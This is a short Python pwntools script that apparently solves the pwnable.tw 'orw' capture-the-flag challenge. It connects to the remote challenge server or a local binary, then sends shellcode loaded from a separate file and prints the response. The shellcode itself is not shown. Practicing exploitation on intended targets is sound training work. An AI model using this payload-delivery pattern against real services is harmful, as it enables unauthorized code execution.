import pwn
import sys
if '--remote' in sys.argv:
    p = pwn.remote("chall.pwnable.tw", 10001)
else:
    p = pwn.process("./orw")
output = p.recv(len("Give my your shellcode:"))

shellcode = open("shellcode.bin", 'rb').read()
assert len(shellcode) < 200
p.send(shellcode)
output = p.recvall()
print(output)
